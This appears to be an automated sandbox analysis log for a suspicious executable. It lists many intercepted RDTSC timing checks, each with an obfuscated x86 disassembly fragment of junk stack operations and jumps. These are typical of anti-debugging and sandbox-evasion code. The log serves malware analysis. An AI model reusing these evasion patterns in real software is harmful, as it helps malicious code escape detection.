Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89E76 second address: A89E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jne 00007FD5E8DE1556h 0x0000000c jng 00007FD5E8DE1556h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89E8A second address: A89E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89FF9 second address: A89FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92486 second address: A9248E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9248E second address: A92493 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98E84 second address: A98E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98E88 second address: A98E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD5E8DE155Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98E9A second address: A98EA4 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD5E873B15Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98EA4 second address: A98EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4B77 second address: AA4B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD5E873B15Fh 0x0000000c jnl 00007FD5E873B156h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4B93 second address: AA4BA2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 js 00007FD5E8DE1556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4705 second address: AA470B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB4EB second address: AAB509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1565h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB509 second address: AAB53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FD5E873B15Fh 0x0000000c pushad 0x0000000d jmp 00007FD5E873B166h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB53A second address: AAB561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push edx 0x00000009 push esi 0x0000000a jg 00007FD5E8DE1556h 0x00000010 jmp 00007FD5E8DE1563h 0x00000015 pop esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB40AC second address: AB40C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD5E873B163h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB40C9 second address: AB40CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB40CD second address: AB40E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABAD02 second address: ABAD0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FD5E8DE1556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABAD0D second address: ABAD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABAFD7 second address: ABAFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF040 second address: ABF04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB44 second address: ABEB70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007FD5E8DE1558h 0x0000000e jmp 00007FD5E8DE1560h 0x00000013 popad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 jng 00007FD5E8DE1556h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB70 second address: ABEB86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FD5E873B156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FD5E873B156h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB86 second address: ABEB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC23A3 second address: AC23E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B162h 0x00000007 jmp 00007FD5E873B161h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FD5E873B156h 0x00000016 jmp 00007FD5E873B164h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC59CF second address: AC59DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC59DA second address: AC59DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC59DE second address: AC59E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACADBB second address: ACADBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3E54 second address: AD3E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 jnl 00007FD5E8DE1556h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 jmp 00007FD5E8DE1569h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3E7E second address: AD3E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 js 00007FD5E873B156h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3E8A second address: AD3E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1B35 second address: AD1B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1B39 second address: AD1B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1B3D second address: AD1B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1B43 second address: AD1B75 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5E8DE1573h 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1B75 second address: AD1B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2FB0 second address: AE2FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2FB6 second address: AE2FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2FBD second address: AE2FEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD5E8DE155Ah 0x00000008 jbe 00007FD5E8DE1556h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD5E8DE1567h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2B27 second address: AE2B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B167h 0x00000007 je 00007FD5E873B156h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF99AC second address: AF99BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jg 00007FD5E8DE1556h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF99BC second address: AF99C6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD5E873B15Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8870 second address: AF8876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8876 second address: AF887A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF887A second address: AF8893 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1565h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8893 second address: AF8898 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8898 second address: AF889E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8B94 second address: AF8B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8B9B second address: AF8BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE1562h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8D02 second address: AF8D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD5E873B15Bh 0x0000000c jmp 00007FD5E873B167h 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD5E873B168h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8D4B second address: AF8D6D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD5E8DE1564h 0x00000008 jnl 00007FD5E8DE1556h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8D6D second address: AF8D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8D71 second address: AF8D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF907A second address: AF9098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD5E873B15Ch 0x0000000b push ecx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f js 00007FD5E873B15Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF91DD second address: AF91E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9368 second address: AF936C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF936C second address: AF9382 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE155Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9382 second address: AF9386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF964F second address: AF966C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E8DE1561h 0x00000009 jp 00007FD5E8DE1556h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF966C second address: AF9686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007FD5E873B156h 0x0000000c jne 00007FD5E873B156h 0x00000012 jnp 00007FD5E873B156h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9686 second address: AF9690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9690 second address: AF96C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FD5E873B166h 0x0000000d jmp 00007FD5E873B15Bh 0x00000012 popad 0x00000013 popad 0x00000014 jnp 00007FD5E873B181h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF96C5 second address: AF96C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF96C9 second address: AF96E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD5E873B15Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFB016 second address: AFB033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FD5E8DE1565h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFB033 second address: AFB04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E873B163h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFB04D second address: AFB077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1565h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD5E8DE155Bh 0x0000000e jo 00007FD5E8DE1556h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDAA8 second address: AFDAAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDAAC second address: AFDAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE000 second address: AFE00E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD5E873B15Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE00E second address: AFE01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 jo 00007FD5E8DE155Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE01D second address: AFE031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jns 00007FD5E873B156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE031 second address: AFE036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE036 second address: AFE04A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007FD5E873B156h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE04A second address: AFE054 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE054 second address: AFE07D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FD5E873B15Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE07D second address: AFE081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE081 second address: AFE087 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE087 second address: AFE08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B009E5 second address: B00A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E873B161h 0x00000009 pop esi 0x0000000a jo 00007FD5E873B15Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51603A3 second address: 51603DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 jmp 00007FD5E8DE1568h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD5E8DE1567h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51603DE second address: 516040A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5E873B15Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516040A second address: 516041C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE155Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516041C second address: 5160450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD5E873B166h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov si, dx 0x00000019 mov ax, bx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160450 second address: 5160455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160455 second address: 5160465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160465 second address: 516046B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51604AB second address: 51604B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1554B second address: A15574 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e jmp 00007FD5E8DE1569h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51607A0 second address: 51607CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD5E873B168h 0x0000000a add si, F698h 0x0000000f jmp 00007FD5E873B15Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51607CF second address: 51608A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d pushad 0x0000000e mov edi, ecx 0x00000010 pushfd 0x00000011 jmp 00007FD5E8DE1566h 0x00000016 adc cl, 00000058h 0x00000019 jmp 00007FD5E8DE155Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov ch, F8h 0x00000022 popad 0x00000023 dec edi 0x00000024 pushad 0x00000025 mov edx, 6ECB2734h 0x0000002a mov bl, 82h 0x0000002c popad 0x0000002d lea ebx, dword ptr [edi+01h] 0x00000030 pushad 0x00000031 mov edi, esi 0x00000033 pushfd 0x00000034 jmp 00007FD5E8DE155Eh 0x00000039 sub esi, 47E14CE8h 0x0000003f jmp 00007FD5E8DE155Bh 0x00000044 popfd 0x00000045 popad 0x00000046 mov al, byte ptr [edi+01h] 0x00000049 jmp 00007FD5E8DE1566h 0x0000004e inc edi 0x0000004f pushad 0x00000050 movzx ecx, bx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushfd 0x00000056 jmp 00007FD5E8DE1569h 0x0000005b xor eax, 1BEAF466h 0x00000061 jmp 00007FD5E8DE1561h 0x00000066 popfd 0x00000067 rdtsc
